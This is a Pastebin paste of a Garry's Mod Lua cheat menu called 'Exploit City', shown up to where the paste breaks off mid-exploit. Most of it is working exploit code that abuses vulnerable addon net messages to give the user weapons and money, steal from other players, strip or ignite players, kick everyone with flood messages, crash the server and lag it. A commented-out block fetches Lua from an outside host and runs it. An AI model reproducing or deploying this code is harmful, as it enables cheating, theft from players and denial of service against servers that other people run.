Advertisement
Guest User

Exploit City

a guest
Aug 17th, 2017
1,502
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 43.31 KB | None | 0 0
  1. /* leaked by b1g hacker */
  2. MsgC(Color(0, 240, 255), "♬ Exploit City ♬\n")
  3. MsgC(Color(0, 200, 255), "Type exploits_open in console to open!\n")
  4. MsgC(Color(0, 200, 255), "Coded by triggered and Voltz\n")
  5. surface.PlaySound("HL1/fvox/bell.wav")
  6.  
  7.  
  8. function ValidNetString( str )
  9.  
  10. local status, error = pcall( net.Start, str )
  11.  
  12. return status
  13.  
  14. end
  15.  
  16. local function playSound(url)
  17.  
  18. sound.PlayURL(url, '', function( station )
  19.  
  20. if ( IsValid( station ) ) then
  21.  
  22. station:SetPos( LocalPlayer():GetPos() )
  23. station:Play()
  24.  
  25. end
  26. end)
  27.  
  28. end
  29.  
  30. playSound("https://itzvoltz.xyz/ec/exploitsismyscity.mp3")
  31.  
  32.  
  33.  
  34.  
  35.  
  36. -- Overriding original DL_Answering_global so it doesnt crash you when kicking all
  37.  
  38. net.Receive("DL_Answering_global", function(_len)
  39. end)
  40.  
  41.  
  42. --[[ WATERMARK ]] --
  43. Watermark = vgui.Create( "HTML" )
  44. Watermark:SetPos( -13, -8)
  45. Watermark:SetSize( ScrW(), ScrH())
  46. Watermark:OpenURL( "https://itzvoltz.xyz/ec/watermark.html" )
  47.  
  48. GRADIENT_HORIZONTAL = 0;
  49. GRADIENT_VERTICAL = 1;
  50. function draw.LinearGradient(x,y,w,h,from,to,dir,res)
  51. dir = dir or GRADIENT_HORIZONTAL;
  52. if dir == GRADIENT_HORIZONTAL then res = (res and res <= w) and res or w;
  53. elseif dir == GRADIENT_VERTICAL then res = (res and res <= h) and res or h; end
  54. for i=1,res do
  55. surface.SetDrawColor(
  56. Lerp(i/res,from.r,to.r),
  57. Lerp(i/res,from.g,to.g),
  58. Lerp(i/res,from.b,to.b),
  59. Lerp(i/res,from.a,to.a)
  60. );
  61. if dir == GRADIENT_HORIZONTAL then surface.DrawRect(x + w * (i/res), y, w/res, h );
  62. elseif dir == GRADIENT_VERTICAL then surface.DrawRect(x, y + h * (i/res), w, h/res ); end
  63. end
  64. end
  65.  
  66. function SploitText( str )
  67.  
  68. chat.AddText( Color( 0, 255, 255 ), "[EC] ", Color( 0, 200, 255), str )
  69.  
  70. end
  71.  
  72. surface.CreateFont( "customfont", {
  73. font = "Roboto",
  74. size = 21,
  75. } )
  76.  
  77. surface.CreateFont( "customfont2", {
  78. font = "Calibri",
  79. size = 15,
  80. } )
  81.  
  82. surface.CreateFont( "customfont3", {
  83. font = "Calibri",
  84. size = 24,
  85. } )
  86.  
  87.  
  88. surface.CreateFont( "closebuttonfont", {
  89. font = "Caviar Dreams",
  90. size = 21,
  91. } )
  92.  
  93.  
  94.  
  95.  
  96.  
  97.  
  98. local function SploitNotify(text)
  99.  
  100. local notify = vgui.Create( "DPanel" )
  101. notify:SetSize( 200, 50 )
  102. notify:SetPos( ScrW() - 200, -50 )
  103. notify.Paint = function(self, w, h)
  104. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  105. draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
  106. draw.SimpleText( text, "customfont3", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  107. end
  108.  
  109.  
  110. notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
  111. timer.Simple( 3, function()
  112. notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
  113. end);end)
  114.  
  115. end
  116.  
  117.  
  118.  
  119.  
  120.  
  121. --[[Weapon Stripper Menu]]--
  122.  
  123. time = 1
  124.  
  125.  
  126. function Ply(name) -- finds player name
  127. name = string.lower(name);
  128. for _,v in ipairs(player.GetHumans()) do
  129. if(string.find(string.lower(v:Name()),name,1,true) != nil) then
  130. return v;
  131. end
  132. end
  133. end
  134.  
  135. function stripPlayer(ply) -- Strip player function
  136. if ply:IsPlayer() then
  137.  
  138. for k,v in pairs(ply:GetWeapons()) do
  139.  
  140. net.Start("properties")
  141. net.WriteString( "remove" , 32 )
  142. net.WriteEntity( v )
  143. net.SendToServer()
  144. end
  145. end
  146.  
  147. end
  148. concommand.Add("removewep_crosshair", function()
  149. local xhair = LocalPlayer():GetEyeTrace().Entity
  150. stripPlayer(xhair)
  151. end)
  152.  
  153. function removeAll() -- Strips all Players
  154. for k,v in pairs(player.GetAll()) do
  155. stripPlayer(v)
  156. end
  157. end
  158.  
  159.  
  160. local f = vgui.Create( "DFrame" )
  161. f:SetTitle("Weapon Stripper")
  162. f:SetSize( 500, 500 )
  163. f:Center()
  164. f:MakePopup()
  165. f:SetVisible(false)
  166. f:ShowCloseButton(false)
  167. f.Paint = function( self, w, h )
  168. draw.RoundedBox( 5, 0, 0, w, h, Color(40, 40, 40))
  169. end
  170.  
  171. local closebutton2 = vgui.Create( "DButton", f )
  172. closebutton2:SetText( "X" )
  173. closebutton2:SetTextColor( Color( 255, 0, 0 ) )
  174. closebutton2:SetPos( f:GetWide() - 31, 0 )
  175. closebutton2:SetFont("closebuttonfont")
  176. closebutton2:SetSize( 31, 31 )
  177. closebutton2.Paint = function( self, w, h )
  178. if closebutton2:IsHovered() then
  179. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  180. else
  181. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  182. end
  183. end
  184. closebutton2.DoClick = function()
  185. f:SetVisible(false)
  186. end
  187.  
  188. local button = vgui.Create("DButton", f)
  189. button:SetText("Strip All")
  190. button:SetPos(220,40)
  191. button:SetTextColor(Color(255, 255, 255))
  192. button.DoClick = function ()
  193. removeAll()
  194. end
  195. button.Paint = function( self, w, h )
  196. draw.RoundedBox( 5, 0, 0, w, h, Color(60, 60, 60))
  197. end
  198.  
  199.  
  200. local DermaCheckboxone = vgui.Create( "DCheckBoxLabel" , f )// Create the checkbox
  201. DermaCheckboxone:SetPos( 220, 70 )// Set the position
  202. DermaCheckboxone:SetValue(false)
  203. DermaCheckboxone:SetText("Remove All Timer")
  204. function DermaCheckboxone:OnChange( val )
  205. if (val) then
  206. print("rekt all player's weapons")
  207. net.Start("properties")
  208. net.WriteString( "remove" , 32 )
  209. net.WriteEntity( player.GetAll() )
  210. net.SendToServer()
  211. timer.Create( "removealltimer", time, 0, function()
  212. print("rekt all player's weapons")
  213. net.Start("properties")
  214. net.WriteString( "remove" , 32 )
  215. net.WriteEntity( player.GetAll() )
  216. net.SendToServer()
  217. end)
  218. else
  219. timer.Remove("removealltimer")
  220. end
  221. end
  222.  
  223. local TimeSlider = vgui.Create( "DNumSlider", f )
  224. TimeSlider:SetPos( 220, 90 ) // Set the position
  225. TimeSlider:SetSize( 200, 15 ) // Set the size
  226. TimeSlider:SetText( "Time Interval" ) // Set the text above the slider
  227. TimeSlider:SetMin( .1 ) // Set the minimum number you can slide to
  228. TimeSlider:SetMax( 7.5 ) // Set the maximum number you can slide to
  229. TimeSlider:SetValue( 1 )
  230. TimeSlider:SetDecimals( 1 ) // Decimal places - zero for whole number
  231. TimeSlider.OnValueChanged = function( panel, value )
  232. time = math.Round(value, 1)
  233. if DermaCheckboxone:GetChecked() == 1 then
  234. timer.Remove("removealltimer")
  235. timer.Create( "removealltimer", time, 0, function()
  236. print("rekt")
  237. net.Start("properties")
  238. net.WriteString( "remove" , 32 )
  239. net.WriteEntity( player.GetAll() )
  240. net.SendToServer()
  241. end)
  242. end
  243. end
  244.  
  245.  
  246. local AppList = vgui.Create( "DListView", f)
  247. AppList:SetSize(200,100)
  248. AppList:Dock( LEFT )
  249. AppList:SetMultiSelect( false )
  250. AppList:AddColumn( "Name" )
  251. for k, v in pairs(player.GetAll()) do
  252. AppList:AddLine(v:Name())
  253. end
  254.  
  255. AppList.OnRowSelected = function( lst, index, pnl )
  256. --print( "Selected " .. pnl:GetColumnText( 1 ) .. " at index " .. index )
  257. ply = Ply(pnl:GetColumnText( 1 ))
  258. print(pnl:GetColumnText( 1 ) .. " rekt")
  259. stripPlayer(ply)
  260.  
  261. end
  262.  
  263.  
  264. concommand.Add("menu",menu)
  265. concommand.Add("strip",stripPlayer)
  266. function removeWeapons()
  267.  
  268. local Target = LocalPlayer():GetEyeTrace().Entity
  269.  
  270. if Target:IsPlayer() then
  271. for x,y in pairs(Target:GetWeapons()) do
  272.  
  273. net.Start("properties")
  274. net.WriteString( "remove" , 32 )
  275. net.WriteEntity( y )
  276. net.SendToServer()
  277. end
  278.  
  279. end
  280.  
  281. end
  282.  
  283. --[[End of Weapon Stripper]]--
  284.  
  285. local wMain = ScrW() / 3
  286. local hMain = ScrH() / 2.8
  287. totalSploits = 0
  288.  
  289.  
  290. local Main = vgui.Create( "DFrame" )
  291. Main:SetTitle("")
  292. Main:SetSize( wMain, hMain )
  293. Main:SetPos( ScrW() / 2 - Main:GetWide() / 2, ScrH())
  294. Main:SetMouseInputEnabled(true)
  295. Main:SetKeyBoardInputEnabled(true)
  296. Main:SetDraggable(false)
  297. Main:SetVisible(false)
  298. Main:ShowCloseButton(false)
  299. Main.Paint = function( self, w, h )
  300. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 240 ) )
  301. draw.LinearGradient( 0, 0, w, 31, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
  302. --draw.RoundedBox( 0, 0, 0, w, 31, Color( 20, 20, 20, 255 ) )
  303. surface.SetDrawColor( 0, 0, 0, 255)
  304. surface.DrawOutlinedRect( 0, 0, w, h )
  305. draw.SimpleText( "Exploit City", "customfont", Main:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  306. draw.SimpleText( totalSploits .. "/36", "customfont", 6, 6, Color(255, 255, 255), TEXT_ALIGN_LEFT )
  307. end
  308.  
  309.  
  310.  
  311. local closebutton = vgui.Create( "DButton", Main )
  312. closebutton:SetText( "X" )
  313. closebutton:SetTextColor( Color( 255, 0, 0 ) )
  314. closebutton:SetPos( Main:GetWide() - 31, 0 )
  315. closebutton:SetFont("closebuttonfont")
  316. closebutton:SetSize( 31, 31 )
  317. closebutton.Paint = function( self, w, h )
  318. if closebutton:IsHovered() then
  319. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  320. else
  321. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  322. end
  323. end
  324.  
  325. local weaponbutton = vgui.Create( "DButton", Main )
  326. weaponbutton:SetText( "Weapon Stripper" )
  327. weaponbutton:SetTextColor( Color( 255, 255, 255 ) )
  328. weaponbutton:SetSize( 31 * 3.5, 31 )
  329. weaponbutton:SetPos( Main:GetWide() - 31 * 4.5, 0 )
  330. weaponbutton:SetFont("customfont2")
  331. weaponbutton.Paint = function( self, w, h )
  332. if weaponbutton:IsHovered() then
  333. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  334. else
  335. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  336. end
  337. end
  338. weaponbutton.DoClick = function()
  339. f:SetVisible(true)
  340. end
  341.  
  342. local tabs = vgui.Create( "DPropertySheet", Main )
  343. tabs:Dock( FILL )
  344. tabs:DockPadding( 5, 5, 0, 0)
  345. tabs.Paint = function (self, w, h)
  346. for k, v in pairs(tabs.Items) do
  347. if (!v.Tab) then continue end
  348.  
  349. v.Tab.Paint = function(self,w,h)
  350. draw.LinearGradient( 0, 0, w, h, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
  351. end
  352. end
  353. end
  354.  
  355. local exploitsPanel = vgui.Create( "DPanel", tabs )
  356. exploitsPanel.Paint = function( self, w, h )
  357. --draw.LinearGradient( 0, 0, w, h, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
  358. draw.RoundedBox(0, 0, 0, w, h, Color(40,40,40))
  359. end
  360. tabs:AddSheet( "Exploits", exploitsPanel )
  361.  
  362. local toolsPanel = vgui.Create( "DPanel", tabs )
  363. toolsPanel.Paint = function( self, w, h )
  364. draw.RoundedBox(0, 0, 0, w, h, Color(40,40,40))
  365. end
  366. tabs:AddSheet( "Tools", toolsPanel )
  367.  
  368. local exploitsScrollPanel = vgui.Create( "DScrollPanel", exploitsPanel )
  369. exploitsScrollPanel:Dock( FILL )
  370.  
  371. local toolsScrollPanel = vgui.Create( "DScrollPanel", toolsPanel )
  372. toolsScrollPanel:Dock( FILL )
  373.  
  374. --[[ FUNCTIONS ]]
  375.  
  376. function addExploit(id, text, desc, func)
  377. local id2 = id .. "."
  378. local name = text
  379. totalSploits = 1 + totalSploits
  380.  
  381. local id = vgui.Create( "DButton", exploitsScrollPanel )
  382. id:SetText( name )
  383. id:SetTextColor( Color( 200, 200, 200 ) )
  384. id:SetFont("customfont")
  385. id:Dock( TOP )
  386. id:DockMargin( 2, 10, 2, -5 )
  387. id:DockPadding( 2, 25, 2, 50 )
  388. id.DoClick = func
  389.  
  390.  
  391. id.Paint = function( self, w, h )
  392. if id:IsHovered() then
  393. draw.SimpleText( desc, "customfont2", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
  394. draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
  395. else
  396. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  397. end
  398. surface.SetDrawColor( 0, 0, 0, 255)
  399. surface.DrawOutlinedRect( 0, 0, w, h )
  400. end
  401. end
  402.  
  403. function addTool(id, text, desc, func)
  404. local id2 = id .. "."
  405. local name = text
  406.  
  407. local id = vgui.Create( "DButton", toolsScrollPanel )
  408. id:SetText( name )
  409. id:SetTextColor( Color( 200, 200, 200 ) )
  410. id:SetFont("customfont")
  411. id:Dock( TOP )
  412. id:DockMargin( 2, 10, 2, -5 )
  413. id:DockPadding( 2, 25, 2, 50 )
  414. id.DoClick = func
  415.  
  416.  
  417. id.Paint = function( self, w, h )
  418. if id:IsHovered() then
  419. draw.SimpleText( desc, "customfont2", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
  420. draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
  421. else
  422. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  423. end
  424. surface.SetDrawColor( 0, 0, 0, 255)
  425. surface.DrawOutlinedRect( 0, 0, w, h )
  426. end
  427. end
  428.  
  429. function addServer(id, text, desc, ip)
  430. local id2 = id .. "."
  431. local name = text
  432.  
  433. local id = vgui.Create( "DButton", serversScrollPanel )
  434. id:SetText( name )
  435. id:SetTextColor( Color( 200, 200, 200 ) )
  436. id:SetFont("customfont")
  437. id:Dock( TOP )
  438. id:DockMargin( 2, 10, 2, -5 )
  439. id:DockPadding( 2, 25, 2, 50 )
  440. id.DoClick = function()
  441. LocalPlayer():ConCommand("connect "..ip)
  442. end
  443.  
  444.  
  445. id.Paint = function( self, w, h )
  446. if id:IsHovered() then
  447. draw.SimpleText( desc, "customfont2", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
  448. draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
  449. else
  450. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  451. end
  452. surface.SetDrawColor( 0, 0, 0, 255)
  453. surface.DrawOutlinedRect( 0, 0, w, h )
  454. end
  455. end
  456.  
  457. function broadcast( str )
  458.  
  459. if( str != nil ) then
  460.  
  461. SploitText("Beginning to broadcast message: " .. str)
  462.  
  463. else
  464.  
  465. SploitText("Message is nil, enter a valid string!")
  466.  
  467. end
  468.  
  469. for k,v in pairs( player.GetAll() ) do
  470.  
  471. if ( v != LocalPlayer() ) then
  472.  
  473. RunConsoleCommand( "ulx", "psay", v:Nick(), str )
  474.  
  475. end
  476.  
  477. end
  478.  
  479. end
  480.  
  481.  
  482. hook.Add("Think", "RGBSTF", function()
  483. local rainbowC = HSVToColor( CurTime() % 6 * 60, 1, 1 )
  484. LocalPlayer():SetWeaponColor( Vector( rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255 ) )
  485. LocalPlayer():SetPlayerColor( Vector( rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255 ) )
  486. end)
  487.  
  488.  
  489. --[[ SERVERS ]]--
  490. /*
  491.  
  492. http.Fetch("https://itzvoltz.xyz/ec/serverlist.lua", function( ret )
  493.  
  494. RunString( ret )
  495.  
  496. end)
  497.  
  498.  
  499.  
  500. -- [[ Tools ]]
  501.  
  502. -- [[ Server List ]]
  503.  
  504. addTool("serverList", "Server List", "Opens a menu with exploitable servers", function()
  505. LocalPlayer():ConCommand("exploitable_servers")
  506. end)
  507.  
  508. */
  509.  
  510. --[[ ULX PSAY BROADCASTER ]]
  511. if ulx then
  512. addTool("pSayBroadcaster", "ULX PSAY Broadcast", "PM's every player on the server", function ()
  513.  
  514. --[[ Vars ]]
  515.  
  516. local wPsay = ScrW() / 5
  517. local hPsay = ScrH() / 10
  518.  
  519. --[[ Menu ]]
  520.  
  521. local pSayMain = vgui.Create( "DFrame" )
  522. pSayMain:SetTitle("")
  523. pSayMain:SetSize( wPsay, hPsay )
  524. pSayMain:SetPos(50, ScrH() / 2)
  525. pSayMain:SetMouseInputEnabled(true)
  526. pSayMain:SetKeyBoardInputEnabled(true)
  527. pSayMain:ShowCloseButton(false)
  528. pSayMain:MakePopup()
  529. pSayMain.Paint = function( self, w, h )
  530. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  531. draw.LinearGradient( 0, 0, w, 31, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
  532. surface.SetDrawColor( 0, 0, 0, 255)
  533. surface.DrawOutlinedRect( 0, 0, w, h )
  534. draw.SimpleText( "PM Broadcaster", "customfont", w / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  535. end
  536.  
  537.  
  538.  
  539. local psayClose = vgui.Create( "DButton", pSayMain )
  540. psayClose:SetText( "X" )
  541. psayClose:SetTextColor( Color( 255, 0, 0 ) )
  542. psayClose:SetPos( pSayMain:GetWide() - 31, 0 )
  543. psayClose:SetFont("closebuttonfont")
  544. psayClose:SetSize( 31, 31 )
  545. psayClose.Paint = function( self, w, h )
  546. if psayClose:IsHovered() then
  547. draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  548. else
  549. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  550. end
  551. end
  552.  
  553. psayClose.DoClick = function()
  554. pSayMain:Remove()
  555. end
  556.  
  557. local psayInput = vgui.Create( "DTextEntry", pSayMain )
  558. psayInput:SetPos( 25, 40 )
  559. psayInput:SetSize( pSayMain:GetWide() / 2 , 25 )
  560. psayInput:SetText( "BroadcastMSG" )
  561. psayInput.OnEnter = function( self )
  562. chat.AddText( self:GetValue() )
  563. end
  564.  
  565. local sendBroadCast = vgui.Create( "DButton", pSayMain )
  566. sendBroadCast:SetText( "Broadcast" )
  567. sendBroadCast:SetTextColor( Color( 255, 255, 255 ) )
  568. sendBroadCast:SetPos( 220, 40 )
  569. sendBroadCast:SetFont("customfont")
  570. sendBroadCast:SetSize( 90, 25 )
  571. sendBroadCast.Paint = function( self, w, h )
  572. if sendBroadCast:IsHovered() then
  573. draw.RoundedBox( 0, 0, 0, w, h, Color( 40, 40, 40, 255 ) )
  574. else
  575. draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  576. end
  577. end
  578.  
  579. sendBroadCast.DoClick = function()
  580. broadcast( psayInput:GetValue() )
  581.  
  582. end
  583.  
  584.  
  585.  
  586. end)
  587. end
  588.  
  589.  
  590. --[[ Exploits ]]--
  591.  
  592.  
  593.  
  594. local status = ValidNetString("CraftSomething")
  595. if (status) then
  596. SploitText("Found exploitable net message: CraftSomething")
  597. addExploit( "1", "Give Weapons", "Gives you any weapon of your choice", function()
  598. inputFrameExists = true
  599. inputFrame = vgui.Create( "DFrame" )
  600. inputFrame:SetTitle("Choose a weapon!")
  601. inputFrame:SetSize( 400, 75 )
  602. inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
  603. inputFrame:SetDraggable(false)
  604. inputFrame:ShowCloseButton(false)
  605. inputFrame:MakePopup()
  606. inputFrame.Paint = function( self, w, h )
  607. draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
  608. end
  609.  
  610. local TextEntry = vgui.Create( "DTextEntry", inputFrame )
  611. TextEntry:SetSize( 380, 30 )
  612. TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
  613. TextEntry:SetText( "m9k_ak47" )
  614. TextEntry.OnEnter = function( self )
  615. surface.PlaySound("garrysmod/ui_click.wav")
  616. SploitText("Giving Weapon")
  617. net.Start( "CraftSomething" )
  618. net.WriteEntity( LocalPlayer() )
  619. net.WriteString( self:GetValue() )
  620. net.WriteString( "" )
  621. net.WriteString( "weapon" )
  622. net.SendToServer()
  623. inputFrame:SetVisible(false)
  624. end
  625. end)
  626. end
  627.  
  628.  
  629. local status = ValidNetString("TCBuyAmmo")
  630. if (status) then
  631. SploitText("Found exploitable net message: TCBuyAmmo")
  632. addExploit( "2","Free Ammo", "Gets All Ammo Types", function()
  633. surface.PlaySound("garrysmod/ui_click.wav")
  634. SploitText("Getting Le Ammo")
  635. for k,v in pairs(GAMEMODE.AmmoTypes) do
  636.  
  637. net.Start("TCBBuyAmmo")
  638.  
  639. net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
  640.  
  641. net.SendToServer()
  642.  
  643. end
  644. end);end
  645.  
  646.  
  647.  
  648. local status = ValidNetString("DataSend")
  649. if (status) then
  650. SploitText("Found exploitable net message: Steal All Monies #1")
  651. addExploit( "4","Steal All Monies #1", "Takes money from printers", function()
  652. surface.PlaySound("garrysmod/ui_click.wav")
  653. for k, v in pairs( ents.GetAll() ) do
  654.  
  655. if v:GetClass() == "adv_moneyprinter" then
  656.  
  657. SploitText("Collecting Money")
  658.  
  659. net.Start("DataSend")
  660.  
  661. net.WriteFloat(2)
  662.  
  663. net.WriteEntity(v)
  664.  
  665. net.WriteEntity(LocalPlayer())
  666.  
  667. net.SendToServer()
  668.  
  669. end;end
  670. end);end
  671.  
  672.  
  673.  
  674.  
  675.  
  676.  
  677. local status = ValidNetString("FarmingmodSellItems")
  678. if (status) then
  679. SploitText("Found Exploit: Free Money")
  680. addExploit( "5","Free Money", "An exploit in the Farming Mod", function()
  681. surface.PlaySound("garrysmod/ui_click.wav")
  682. SploitText("Enjoy the b1g monies")
  683. net.Start( "FarmingmodSellItems" )
  684. net.WriteTable(
  685. {
  686. Cost = 10,
  687. CropModel = "models/props/eryk/garlic.mdl",
  688. CropType = 2,
  689. Info = "Garlic Seed",
  690. Model = "models/props/eryk/seedbag.mdl",
  691. Name = "Garlic",
  692. Quality = 4,
  693. Sell = 99999,
  694. Type = "Seed"
  695. }
  696. )
  697. net.WriteInt(1,16)
  698. net.SendToServer()
  699. end);end
  700.  
  701.  
  702. local status = ValidNetString("start_wd_emp")
  703. if (status) then
  704. SploitText("Found Exploit: Hack Keypads")
  705. addExploit( "6","Hack Keypads", "An exploit in the hacking phone", function()
  706. surface.PlaySound("garrysmod/ui_click.wav")
  707. SploitNotify("Hacking Keypads")
  708. net.Start('start_wd_emp')
  709. net.SendToServer()
  710. end);end
  711.  
  712.  
  713. local status = ValidNetString("duelrequestguiYes")
  714. if (status) then
  715. SploitText("Found Exploit: Get Money")
  716. addExploit( "7","Get Money", "Duel Exploit", function()
  717. surface.PlaySound("garrysmod/ui_click.wav")
  718. SploitNotify("getting ez monies")
  719. net.Start("duelrequestguiYes")
  720. net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999,32)
  721. net.WriteEntity(table.Random( player.GetAll() ) )
  722. net.WriteString("Crossbow")
  723. net.SendToServer()
  724. end);end
  725.  
  726.  
  727. local status = ValidNetString("drugseffect_remove")
  728. if (status) then
  729. SploitText("Found exploitable net message: drugseffect_remove ")
  730. addExploit( "8","Remove All Weapons", "An exploit in the drug addon", function()
  731. surface.PlaySound("garrysmod/ui_click.wav")
  732. SploitText("Removing Weapons from All")
  733. net.Start("drugseffect_remove")
  734. net.SendToServer()
  735. end);end
  736.  
  737. local status = ValidNetString("drugs_money")
  738. if (status) then
  739. SploitText("Found exploitable net message: drugs_money")
  740. addExploit( "9","Remove All Money", "An exploit in the drug addon", function()
  741. surface.PlaySound("garrysmod/ui_click.wav")
  742. SploitText("Removing Weapons from All")
  743. net.Start("drugs_money")
  744. net.SendToServer()
  745. end);end
  746.  
  747. local status = ValidNetString("drugs_ignite")
  748. if (status) then
  749. SploitText("Found exploitable net message: drugs_ignite")
  750. addExploit( "10","Ignite Props", "An exploit in the drug addon", function()
  751. surface.PlaySound("garrysmod/ui_click.wav")
  752. SploitText("Igniting Props")
  753. net.Start("drugs_ignite")
  754. net.WriteString("prop_physics")
  755. net.SendToServer()
  756. end);end
  757.  
  758.  
  759. local status = ValidNetString("drugs_ignite")
  760. if (status) then
  761. addExploit( "11","Ignite Players", "An exploit in the drug addon", function()
  762. surface.PlaySound("garrysmod/ui_click.wav")
  763. SploitText("Igniting Players")
  764. net.Start("drugs_ignite")
  765. net.WriteString("player")
  766. net.SendToServer()
  767. end);end
  768.  
  769.  
  770. local status = ValidNetString("drugseffect_hpremove")
  771. if (status) then
  772. SploitText("Found Exploit: Remove All Players HP")
  773. addExploit( "12","Remove All Players HP", "An exploit in the drug addon", function()
  774. surface.PlaySound("garrysmod/ui_click.wav")
  775. SploitText("Removing All Players HP")
  776. net.Start("drugseffect_hpremove")
  777. net.WriteString(1)
  778. net.SendToServer()
  779. end);end
  780.  
  781.  
  782. local status = ValidNetString("drugseffect_hpremove")
  783. if (status) then
  784. SploitText("Found Exploit: Give All God")
  785. addExploit( "13","Give All God", "An exploit in the drug addon", function()
  786. surface.PlaySound("garrysmod/ui_click.wav")
  787. SploitText("Giving All God")
  788. net.Start("drugseffect_hpremove")
  789. net.WriteString(299999)
  790. net.SendToServer()
  791. end);end
  792.  
  793. local status = ValidNetString("drugs_text")
  794. if (status) then
  795. SploitText("Found Exploit: Remove All Props")
  796. addExploit( "14","Remove All Props", "An exploit in the drug addon", function()
  797. surface.PlaySound("garrysmod/ui_click.wav")
  798. SploitText("Removing All Props")
  799. net.Start("drugs_text")
  800. net.WriteString("prop_physics")
  801. net.SendToServer()
  802. end);end
  803.  
  804. local status = ValidNetString("DarkRP_Kun_ForceSpawn")
  805. if (status) then
  806. SploitText("Found Exploit: TP")
  807. addExploit( "15", "TP", "No clue what this does xd", function()
  808. surface.PlaySound("garrysmod/ui_click.wav")
  809. SploitText("TPing")
  810. net.Start("DarkRP_Kun_ForceSpawn")
  811. net.SendToServer()
  812. end);end
  813.  
  814.  
  815. local status = ValidNetString("SyncPrinterButtons76561198056171650")
  816. if (status) then
  817. SploitText("Found Exploit: Steal All Monies #2")
  818. addExploit( "16","Steal All Monies #2", "Takes money from printers", function()
  819. surface.PlaySound("garrysmod/ui_click.wav")
  820.  
  821. SploitText("Collecting Money")
  822.  
  823. for k, v in pairs(ents.GetAll()) do
  824.  
  825. if (v:GetClass() == "adv_moneyprinter") then
  826.  
  827. net.Start( "SyncPrinterButtons76561198056171650" )
  828.  
  829. net.WriteEntity(v)
  830.  
  831. net.WriteUInt(2, 4)
  832.  
  833. net.SendToServer()
  834.  
  835. end
  836.  
  837. end
  838. end);end
  839.  
  840. local function report()
  841. for i = 1, 2000 do
  842. net.Start("DL_Answering")
  843. net.SendToServer()
  844. end
  845. end
  846.  
  847. if (Damagelog) then
  848. SploitText("Found Exploit: Kick All Players")
  849. reportSpam = 0
  850. addExploit( "17","Kick All Players", "Kicks all players", function()
  851. surface.PlaySound("garrysmod/ui_click.wav")
  852. if (reportSpam == 0) then
  853. SploitNotify("Starting Kicker")
  854. reportSpam = 1
  855. timer.Create("reportSpammer", 0.05, 0, report)
  856. else
  857. SploitNotify("Stopping Kicker")
  858. reportSpam = 0
  859. timer.Remove("reportSpammer")
  860. end
  861.  
  862. end);end
  863.  
  864.  
  865. local status = ValidNetString("SimplicityAC_aysent")
  866. if (status) then
  867. SploitText("Found Exploit: Instant Crash")
  868. addExploit( "19","Instant Crash", "Will instantly crash the server", function()
  869. surface.PlaySound("garrysmod/ui_click.wav")
  870. SploitText("Goodbye Server")
  871. local tbl = {}
  872.  
  873. for i=1,400 do
  874.  
  875. tbl[i] = i
  876.  
  877. end
  878.  
  879. net.Start("SimplicityAC_aysent")
  880.  
  881. net.WriteUInt(1, 8)
  882.  
  883. net.WriteUInt(4294967295, 32)
  884.  
  885. net.WriteTable(tbl)
  886.  
  887. net.SendToServer()
  888. end);end
  889.  
  890. local status = ValidNetString("ATS_WARP_REMOVE_CLIENT")
  891. if (status) then
  892. SploitText("Found Exploit: Lagger #1")
  893. lagger1 = 0
  894. addExploit( "20", "Lagger #1", "b1g lags", function()
  895. surface.PlaySound("garrysmod/ui_click.wav")
  896. if (lagger1 == 0) then
  897. SploitNotify("Starting Lagger")
  898. lagger1 = 1
  899. timer.Create("lagger1", 0.02, 0, function()
  900.  
  901. for k,v in pairs(player.GetAll()) do
  902.  
  903. net.Start( "ATS_WARP_REMOVE_CLIENT" )
  904.  
  905. net.WriteEntity( v )
